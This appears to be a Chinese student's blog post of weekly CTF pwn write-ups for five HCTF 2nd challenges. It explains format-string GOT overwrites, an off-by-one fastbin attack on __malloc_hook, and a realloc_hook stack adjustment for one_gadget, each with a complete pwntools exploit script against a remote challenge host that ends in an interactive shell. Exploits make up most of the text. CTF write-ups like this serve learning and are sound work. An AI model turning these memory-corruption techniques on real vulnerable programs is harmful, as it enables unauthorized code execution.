24-04-15

本周学习总结

全局常量声明:文章内容仅是由教程观点和自己总结获得,仅供参考。

一、[HCTF 2nd]–fmt

基础的栈上字符串格式化泄漏,通过%35$p获得__libc_start_main+231的地址,通过计算获得libc基地址,通过%39$p获得pie+0x992的地址,通过计算获得pie的基地址。

vuln3本身是无限死循环且无法退出,所以这里考虑攻击printf的got表改为system,通过fmt_payload修改got表是一次性修改好的,所以不用担心修改到一半出问题,修改完成后输入”/bin/sh\x00”完成getshell。

要注意的是一定要设置脚本环境为amd64,不然fmt_payload会报错,并且考虑网络传输问题,最好将fmt_payload的第三参数设置为short。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gdbm(name, b=''):
if b != '':
gdb.attach(target=("127.0.0.1", 99999), exe=name, gdbscript=b)
else:
gdb.attach(target=("127.0.0.1", 99999), exe=name)

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

p = remote("124.71.99.248", 20743)
# p = process("./vuln")
# p = process(["qemu-mipsel", "-g", "99999", "./pwn"])
# p = process(["qemu-mipsel", "./pwn"])
elf = ELF("./vuln")
libc = ELF("./libc.so.6")
# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
# elf.arch , elf.so

sea(b"stdin>>\n", b"%39$p-%35$p")

pie = int(reu(b"-", True), 16) - 0x992
ph(pie, "pie")

libc_base = raddr_T() - 231 - libc.sym["__libc_start_main"]
ph(libc_base, "libc_base")

printf_got = elf.got["printf"] + pie
sys_addr = libc_base + libc.sym["system"]

payload = fmtstr_payload(8, {printf_got: sys_addr}, write_size="short")

sea(b"stdin>>\n", payload)
sea(b"stdin>>\n", b"/bin/sh\x00")
op()

flag:

二、[HCTF 2nd]–easyfmt

并不easy,3次字符串格式化漏洞的机会让我想起了阿拉丁的噩梦。

这种题的漏洞是属于非栈上的字符串格式化漏洞利用,与栈上的字符串格式化漏洞的区别就是地址任意写变的不那么方便了。对于这种题我们经常会寻找一些叫”跳板“的内存数据,类似这样:

我们都知道字符串格式化任意写的利用条件是找栈上的一个地址,向这个地址所指向的内容写值而不是改变这个地址本身,而图片红框中被指向的地址0x7ffde3d194f0与rbp只有一个字节只差,而此时rsp指向的地方正好是我们利用字符串格式化次数的一个记录变量,我们可以通过连续两次攻击来改变这个变量(先修改0x7ffde3d19440(0x7ffde3d19410位置)指向的内容到rbp-0x10(rsp位置)),此时0x7ffde3d19440指向了记录变量的位置0x7ffde3d193f0。然后修改0x7ffde3d193f0(0x7ffde3d19440)位置指向的内容,随便写一个大数字比如50进去,这样循环肯定足够了。至于怎么得到rbp的地址也好办,我们只有三次利用机会,第一次将libc基地址、rbp地址都直接暴露出来就好了,非栈上的字符串格式不影响暴露地址。

接下来就是修改rip到可执行地址了,这里为了不麻烦可以修改地址为onegadget。和上面一样的原理,不过这次比较麻烦,因为一次只能修改一个字节(修改太多还是会引起网络问题导致失败),通过多次修改0x7ffde3d19440(0x7ffde3d19410位置)指向的内容到rip,且修改一个字节后将地址+0x1,直到6个字节都被修改为止,调整记录变量为13让程序自然退出循环。

注:脚本不稳定,需要多次运行。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gdbm(name, b=''):
if b != '':
gdb.attach(target=("127.0.0.1", 99999), exe=name, gdbscript=b)
else:
gdb.attach(target=("127.0.0.1", 99999), exe=name)

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

p = remote("124.71.99.248", 20745)
# p = process("./vuln")
# p = process(["qemu-mipsel", "-g", "99999", "./pwn"])
# p = process(["qemu-mipsel", "./pwn"])
# elf = ELF("./pwn")
libc = ELF("./libc.so.6")
# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
# elf.arch , elf.so

sea(b"stdin>>\n", b"%25$p-%21$p-%10$p")

pie = int(reu(b"-", True), 16) - 0x9BA
libc_base = int(reu(b"-", True), 16) - 231 - libc.sym["__libc_start_main"]
stack = raddr_T() - 0x40

ph(pie, "pie")
ph(libc_base, "libc_base")
ph(stack, "stack")

target = stack - 0x10
fack = int(hex(target)[-2:], 16)
ph(fack)

payload = b"%" + stre(fack) + b"c" + b"%10$hhn"
sea(b"stdin>>\n", payload)

payload = b"%12c%16$hhn"
sea(b"stdin>>\n", payload)

sys_addr = libc_base + 0x4f29e
ph(sys_addr, "sys_addr")

fack = int(hex(stack + 0x8)[-2:], 16)
ph(fack)

payload = b"%" + stre(fack) + b"c%10$hhn"
sea(b"stdin>>\n", payload)

payload = b"%" + stre(int(hex(sys_addr)[-2:], 16)) + b"c%16$hhn"
sea(b"stdin>>\n", payload)

payload = b"%" + stre(fack + 0x1) + b"c%10$hhn"
sea(b"stdin>>\n", payload)

payload = b"%" + stre(int(hex(sys_addr)[-4:-2], 16)) + b"c%16$hhn"
sea(b"stdin>>\n", payload)

payload = b"%" + stre(fack + 0x2) + b"c%10$hhn"
sea(b"stdin>>\n", payload)

payload = b"%" + stre(int(hex(sys_addr)[-6:-4], 16)) + b"c%16$hhn"
sea(b"stdin>>\n", payload)

payload = b"%" + stre(fack + 0x3) + b"c%10$hhn"
sea(b"stdin>>\n", payload)

payload = b"%" + stre(int(hex(sys_addr)[-8:-6], 16)) + b"c%16$hhn"
sea(b"stdin>>\n", payload)

payload = b"%" + stre(fack + 0x4) + b"c%10$hhn"
sea(b"stdin>>\n", payload)

payload = b"%" + stre(int(hex(sys_addr)[-10:-8], 16)) + b"c%16$hhn"
sea(b"stdin>>\n", payload)

payload = b"%" + stre(fack + 0x5) + b"c%10$hhn"
sea(b"stdin>>\n", payload)

payload = b"%" + stre(int(hex(sys_addr)[-12:-10], 16)) + b"c%16$hhn"
sea(b"stdin>>\n", payload)

p.recv()
op()

Flag:

三、[HCTF 2nd]–heap2.23

如果你在做堆题时咋一看什么漏洞都没有,那就是offby系列的漏洞了,我们可以发现他在输入的时候用来readn函数,双击进去发现他需要”\n”来结束输入,并且会将”\n”也存入堆块中,这就是经典的offbyone漏洞,并且当输入到溢出一个字节时,这个溢出的字节是可控的,输入能正常结束,也不会有”\n “的产生。

首先申请多个0x18大小的小块,释放0号块并重新申请0号块来达到修改1号块的size字段为合适大小以至于我们释放1号块可以得到ubstorted bin,重新申请1号块在输入时通过”\n”结束输入保证不覆盖bk中的内容,通过show函数输出1号块内容获得libc基地址。直接申请0x60大小堆块并且释放,大概2号块的可编辑区域刚好是0x60堆块的fd地址,将malloc_hook-0x23地址输入并且申请到修改malloc_hook的地址,改malloc_hook为onegadget获得shell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gdbm(name, b=''):
if b != '':
gdb.attach(target=("127.0.0.1", 99999), exe=name, gdbscript=b)
else:
gdb.attach(target=("127.0.0.1", 99999), exe=name)

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# ==================== 程序连接配置 ====================

p = remote("124.71.99.248", 20749)
# p = process("./vuln")
# p = process(["qemu-mipsel", "-g", "99999", "./pwn"])
# p = process(["qemu-mipsel", "./pwn"])

# ==================== ELF 和上下文配置 ====================

# elf = ELF("./pwn")
libc = ELF("./libc.so.6")

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# elf.arch, elf.so

# ==================== 功能函数定义 ====================

def add(index, size, content):
sela(b">>> ", stre(1))
sela(b"index:", stre(index))
sela(b"size:", stre(size))
sea(b"content:", content)

def dele(index):
sela(b">>> ", stre(2))
sela(b"index:", stre(index))

def edit(index, content):
sela(b">>> ", stre(3))
sela(b"index:", stre(index))
sea(b"content:", content)

def show(index):
sela(b">>> ", stre(4))
sela(b"index:", stre(index))

# ==================== 漏洞利用 ====================

# 步骤1: 分配9个0x18大小的chunk
for i in range(0, 9):
add(i, 0x18, b"A" * 0x19)

# 步骤2: 释放chunk 0并重新分配,利用off-by-one漏洞修改chunk 1的size
dele(0)
add(0, 0x18, b"A" * 0x18 + b"\xC1")

# 步骤3: 释放chunk 1,使其进入unsorted bin
dele(1)

# 步骤4: 重新分配chunk 1,泄露libc地址
add(1, 0x18, b"A" * 0x7 + b"\n")
show(1)
rel()

# 步骤5: 计算libc基址和相关地址
libc_base = raddr64() - 0x3c4c28
ph(libc_base, "libc_base")
malloc_hook = libc_base + libc.sym["__malloc_hook"]
one = libc_base + 0x4527a

# 步骤6: Fastbin Attack - 准备0x60大小的chunk
add(10, 0x60, b"Z" * 0x61)
dele(10)

# 步骤7: 修改fastbin的fd指针指向malloc_hook附近
edit(2, p64(malloc_hook - 0x23) + b"\n")

# 步骤8: 两次分配,将chunk分配到malloc_hook附近
add(10, 0x60, b"Z" * 0x61)
add(11, 0x60, b"A" * 0x13 + p64(one) + b"\n")

# 步骤9: 触发malloc,执行one_gadget
sela(b">>> ", stre(1))
sela(b"index:", stre(12))
sela(b"size:", stre(96))

# 进入交互模式
op()

flag:

四、[HCTF 2nd]–銀色飛行船

程序代码写的很多干扰,但是实际调试后不过是简单的uaf漏洞利用,通过大堆块申请来获得libc_base,这到题唯一的难度是他的one_gadget是直接打不通的,需要通过__realloc_hook调栈,__realloc_hook和__malloc_hook,__free_hook不同的是,__realloc_hook在被执行之前有一系列抬栈操作,通过适当的位置抬栈,可以使得栈满足one_gadget可执行,值得一提的是,这个题目版本的__realloc_hook是__malloc_hook-0x8的位置,意味着这两个hook的内容可以一起修改,将__realloc_hook中放入one_gadget的地址,然后在__malloc_hook中放入__realloc_hook的一定偏移地址,这样就可以达到抬栈并且执行one_gadget。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gdbm(name, b=''):
if b != '':
gdb.attach(target=("127.0.0.1", 99999), exe=name, gdbscript=b)
else:
gdb.attach(target=("127.0.0.1", 99999), exe=name)

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# 远程连接(原端口被注释)
# p = remote("124.71.99.248", 20843)
p = process("./heap")

# 其他调试选项(已注释)
# p = process(["qemu-mipsel", "-g", "99999", "./pwn"])
# p = process(["qemu-mipsel", "./pwn"])
# elf = ELF("./pwn")
libc = ELF("./libc.so.6")

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'

def add(size, content):
sela(b"choice>\n", stre(1))
sela(b"size>\n", stre(size))
sela(b"content>\n", content)

def dele(index):
sela(b"choice>\n", stre(2))
sela(b"one?\n", stre(index))

def edit(index, content):
sela(b"choice>\n", stre(3))
sela(b"one?\n", stre(index))
sea(b"content>\n", content)

def show(index):
sela(b"choice>\n", stre(4))
sela(b"one?\n", stre(index))

# 漏洞利用流程
add(0x100, b"A" * 0x18)
add(0x60, b"A" * 0x18)
add(0x60, b"A" * 0x18)
add(0x60, b"A" * 0x18)

dele(0)
show(0)

libc_base = raddr64() - 0x3c4b78
ph(libc_base, "libc_base")

# sys_addr = libc_base + libc.sym["system"]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
realloc_hook = libc_base + libc.sym["__realloc_hook"]
ph(malloc_hook, "malloc_hook")

one = libc_base + 0x4527a
realloc_offset = libc_base + 0x8471C

dele(1)
dele(2)
dele(1)

add(0x60, p64(realloc_hook - 0x1B))
add(0x60, b"Z" * 0x18)
add(0x60, b"Z" * 0x18)
add(0x60, b"\x00" * 0xB + p64(one) + p64(realloc_offset))

sela(b"choice>\n", stre(1))
sela(b"size>\n", stre(96))
op()

flag:

五、[HCTF 2nd]–HELLO WORLD

最崩溃的一集,为什么脑抽要按0x8一次来试。

通过一定顺序获得后门地址,手动爆破溢出。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gdbm(name, b=''):
if b != '':
gdb.attach(target=("127.0.0.1", 99999), exe=name, gdbscript=b)
else:
gdb.attach(target=("127.0.0.1", 99999), exe=name)

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# 远程连接
p = remote("124.71.99.248", 20798)

# 本地调试选项(已注释)
# p = process("./pwn")
# p = process(["qemu-mipsel", "-g", "99999", "./pwn"])
# p = process(["qemu-mipsel", "./pwn"])
# elf = ELF("./pwn")
# libc = ELF("./libc.so.6")
# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'

# 漏洞利用流程
se(b"\n")
sleep(0.1)
sel(stre(2))
sel(stre(4))
sel(stre(6))
sel(stre(2))
reu(b"key:")
key = raddr_T()
ph(key, "key")
sel(stre(7))
payload = b"A" * 0xC + p64(key)
sel(payload)
op()

flag:

下周习计划

| 应该要做的事情 |

线下赛

学习感受

耶?


24-04-15
https://zlsf-zl.github.io/2024/04/15/4-15-4-21/
作者
ZLSF
发布于
2024年4月15日
许可协议